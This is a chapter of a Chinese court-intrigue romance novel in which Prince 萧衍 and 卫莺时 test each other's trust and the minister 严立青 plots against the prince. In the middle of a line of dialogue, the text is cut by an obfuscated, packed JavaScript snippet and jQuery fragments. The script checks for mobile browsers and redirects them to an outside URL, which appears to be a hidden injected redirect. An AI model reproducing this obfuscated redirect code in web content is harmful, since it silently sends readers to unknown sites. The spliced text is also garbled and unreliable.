萧衍整个人如同火烧一般,卫莺时鬓边碎发扫在他的颈侧,他目光慌乱,不知该看何处。
最终还是不受控地,落在她水红色的唇上。
她身上浅浅的香气萦绕不散,丝丝缕缕扰得他气血翻涌。
二人的鼻尖贴的极近,她若是再低一寸……
萧衍紧紧闭上眼睛,终是猛地抬手,将她推开,“你究竟想做什么?”
卫莺时却并不意外,仿佛一切都在她预料之中。
萧衍望着她,“你在试我?”
卫莺时毫不客气地点点头。
她慵懒靠在一旁,按着胸口,轻轻吸了一口气,随后带着几分审视的意味看向他:
“萧衍,我们聊聊。”
“聊些什么?”
“我想看看,你是不是真的如传闻那般沉溺风月、胸无大志。”
萧衍此时也回过味来,“要是我真是如此,你准备怎么办?”
“我早知道,你不会是那样的人。”卫莺时满上酒盏,递给他。
“在京中扮作纨绔子弟实在很憋屈吧,甚至还要常年服药,刻意遮掩习武练就的身形。”
萧衍身形劲瘦,穿衣时清隽挺拔,着一身布衣看起来像是个文弱书生,以他这般武力修为,应当是程鹰或是陈述那般粗犷的体格。
萧衍理了理衣上褶皱,被她摸过的地方像是在发烫,不过见卫莺时没有再试探的意思,萧衍又恢复了惯常的气定神闲。
“你也有事瞒着我。”
卫莺时抬手撩开颊边碎发,端着自己的酒盏挪到一旁,与他彻底拉开距离,“如果我说出来,你会信我吗?”
萧衍并未催逼,只淡淡道:“那要看你说的是什么。”
“即便我说的是实情,又要如何,才能让你信我?
“你说了,我自然就知道了。”
卫莺时苦笑一声,轻轻摇头:“那我又要如何确认,你对我,也是毫无保留的呢?”
她把自己架到了一个尴尬的位置。
卫莺时这一反问,萧衍倒是语塞了。在他素来的认知里,以他的身份,她本就该对他原原本本、毫无隐瞒。
可此刻他才第一次明白,信任从来都是双向的。
卫莺时见他眼神躲闪,马上就能知道,他也有很多事瞒着她。
这分明是她的试探。
“所以,这就是你想出来的法子?”
“是。”她抬眸迎上他的目光,“你与我成婚,能让我们不再互相猜忌,成为真正可以彼此托付、荣辱与共的人……
否则,我无法全然信你。”
卫莺时低头将这口感清冽香甜的酒一饮而尽。
萧衍站了起来,解开外衣,将衣裳挂在一旁的竹架上。
随后又给卫莺时倒了一盏酒。
卫莺时一手持着杯盏,一手指着下颌,醉意朦胧地望着他,“殿下,潜龙勿用,乃蓄力待时也。你究竟是在等待天时,一朝回京,还是说……你想庸庸碌碌,苟全于此,了此残生?
若是如此,你为何要隐姓埋名,随程将军辗转驻扎、颠沛流离,又何必用自己的私库养这八万边军?你分明是盼着有朝一日,能潜龙出渊,重返京城,不是吗?”
……
亥时三刻,严立青坐落留都的府邸内丝竹绕梁,舞姬长袖翻飞,一派歌舞升平的奢靡景象。
身旁侍女玉指纤纤,轻捻起一颗晶莹饱满的葡萄,递至他唇边。
严立青只淡淡瞥了一眼,眉宇间尽是倦怠,侍女惯会察言观色,见老爷像是倦了,于是起身告退。
严立青用一旁的帕子擦了擦手,扔到一边,他是倦了,只觉眼前声色犬马皆索然无味,想来是府中姬妾侍从久未更替,早已看腻了。
他长长叹了口气,抚着腰间玉带暗自烦闷。
自年前由吏部侍郎转任户部尚书,手握钱粮度支、人事调配大权,按理说登门攀附、送礼疏通之人该络绎不绝,可如今门前冷落,竟连半个主动示好的身影都不见。
想来是最近朝中人心思变,看着他升官发财眼红得紧,但又觉得他这位置来路不正,怕惹上麻烦,于是先观望一阵。
侍立在侧的心腹亲随周禄看在眼里,早就看出来这位尚书大人的心思,赶忙上前,躬声开口:
“大人,年前奴才在京中采办器物时,偶然撞见一位姿容绝世的女子,容貌身段皆是顶尖,奴才这就去打探她的下落,寻来伺候大人?”
严立青摆了摆手,语气带着几分不屑:
“再绝色又能如何?姿色出众的,不都尽数送往珉王府了?偏生他一个都不肯带走,只锁在囿兽阁中,由手下严加看管,难不成还痴心妄想,觉得自己有朝一日能重返京城?”
“王爷自然是回不来了,可他府中那些人,旁人纵是觊觎,也没那个胆子动啊。”周禄低声应道。
严立青醉得有些恍恍惚惚,“前些日子,珉王不是带走了一个?”
“京中繁华谁不贪恋,谁又愿意远赴偏僻的蛮荒之地?也就只有皇后娘娘亲赐的那位,不得已跟着去了。”
严立青指尖轻叩桌案,杯盏轻轻晃动着,他盯着那一圈圈涟漪,缓缓道:
“美人一事倒不急,本大人也并非贪财好色之徒。你既提起此事,想来那女子是真入了他的心坎。那边可有新消息传来?”
周禄立刻上前半步,殷勤地为他揉捏着双腿,压低声音回禀:
“回大人,据说珉王殿下整日混迹教坊司,寻欢作乐彻夜不归,压根没回过王府。”
“还有……”周禄像是想到了什么难以启齿之事,面露难色。
严立青抬眼,“还有什么?但说无妨。”
“奴才听闻,那位珉王,似乎身有隐疾……”
严立青先是一怔,随即放声大笑,“我说为何送去那般多美人,竟无一人愿意随行,而且这么些年无有所出,原来是这么个缘故。”
笑罢,他心情大好,话锋一转:“说到珉王……这程赟如今身在何处?”
“回大人,吏部调令下来,安排他在五城兵马司领了个微不足道的小官。”
“哦?调了?想来是娘娘的意思了……他近日可有什么异动?”
周禄撇了撇嘴,摇头道:“这程赟原先在锦衣卫里当差,不知怎的结交了禁军首领越守钧,又得了陆指挥使的青眼,眼看着要提拔,太子殿下得知这个消息,特地安排兵部一纸调令,安排到五城兵马司了,理由说的是办事不力。”
“哟,原来是他的主意?”严立青箕踞而坐,没有外人,姿态更是放松。
“可说呢,太子殿下说他身在曹营心在汉……”
严立青嚼了颗葡萄,笑道:“这都什么词儿?娘娘什么意思?”
“说殿下总是在意这些细枝末节,提醒他大局为重,但并未干涉此事。”
严立青不置可否。
“殿下总觉得他这人心思不正,总想着结交权贵,有朝一日能回到军中呢。”
严立青想来这人调到五城兵马司这个清水衙门,算是废了。
“兵马司的说他办事懒散懈怠,资质又愚钝不堪。都说虎父无犬子,依奴才看,他分明是不肖至极,半点没继承其父半分能耐。”
“程鹰当年的确战功赫赫,可惜终究是前朝旧臣,功高震主,挡了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788105|210247||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
娘娘与太子的前路。如今程赟攥在我们手里,谅他程鹰再有本事,也翻不出什么风浪。”
“大人英明。”周禄连忙躬身奉承。
……
“怎么这么安静?”
陈述与周承二人猫在帐外,一站一蹲,探头探脑,鬼鬼祟祟。
“许是在说话吧。”
周承蹲在地上,用手臂肘了陈述的膝盖一下,“你说殿下心里到底怎么想的?”
陈述也在帐前蹲了下来,“谁知道呢。”陈述压低声音,“这卫姑娘,是真有些本事。”
“什么本事?”周成挠了挠头。
话音刚落,帐内便传来一声急唤:“热水!”
“这么快?”陈述低喃一句。
周承一脸不敢置信,“殿下难道真的……”
“别废话。”陈述在他头上敲了一下,连忙吩咐巡逻的小兵取水,自己掀开帐帘上前。
面前的景象却让他顿住了脚步。
卫莺时软倒在萧衍怀中,额间沁出一层细密汗珠,眉峰紧蹙,似在强忍极大痛楚。
萧衍抬眼,语气冷厉:“你们在酒里动了什么手脚?”
周承后他一步进来,脸色一白,支支吾吾:“没……没加什么啊……”
陈述偷瞄了萧衍一眼,只得硬着头皮承认:“就……就加了一点点催情的药草。”
“真的就一点点……”周承一边小声辩解,一边将送来的热水倒入盆中,“殿下,要沐浴更衣吗?”
“沐什么浴!”萧衍沉声呵斥,“快去寻解药!”
陈述忙将随行的军医孟罍拉了过来,令他给卫莺时诊脉。
孟罍抖抖索索地搭着脉,片刻后整个人大大松了口气:
“殿下放心,夫人只是酒量太浅,喝醉了。那药草是应程将军的命加在酒中的,功效温和,与平日里用的熏香相近,乃是我们本地新婚之时常用的方子,只为舒缓紧张,并无大碍。”
萧衍悬着的心这才稍稍放下。
“沈先生,方才发生了什么?”
“方才我问她几句话,她边喝边答,不过三盏酒下肚,便开始神志不清,说起胡话来了。”
孟罍又看了卫莺时一眼道:“夫人若是不胜酒力,则醉后易被梦魇所侵,可这药军中并未准备,不过沈先生大可安心,待夫人睡醒之后就好了。”
陈述手忙脚乱地拧了一块纱巾,氤氲着热气递了过去。
萧衍接过,细细拭去她额角与脸颊的薄汗。
“好了,你们先下去吧。”
手下一一散去。
萧衍细细想着她醉酒之前说的那些话,竟然与上回自白酒那次的醉话接上了。
莫非她所言非虚?
但他思来想去,终究理不出什么头绪。
卫莺时眉头仍紧紧蹙着,似是睡得极不安稳,下意识往他怀里又缩了缩,双臂牢牢圈住他的腰,半点不肯松开。
就这般僵持了一夜。
第二日她醒转时,萧衍还半靠在床榻上,半边身子早已僵得发麻,腰背酸痛难忍,几乎直不起身。
卫莺时醒来之后,看着他愣了最少一炷香的时间,才回过神来。
倒是真如孟罍所说,一如往常。
卫莺时像是要去赶路一般,洗漱完喝了两口清粥便出了门。
萧衍原本准备亲自随行,但维持同一个姿势坐了一夜,实在腰酸背痛。
于是多躺了半日。
这事很快在军中悄悄传开,沈先生身子孱弱不堪的流言一时甚嚣尘上。
而两位当事人,一个浑不在意,一个索性装聋作哑,全没放在心上。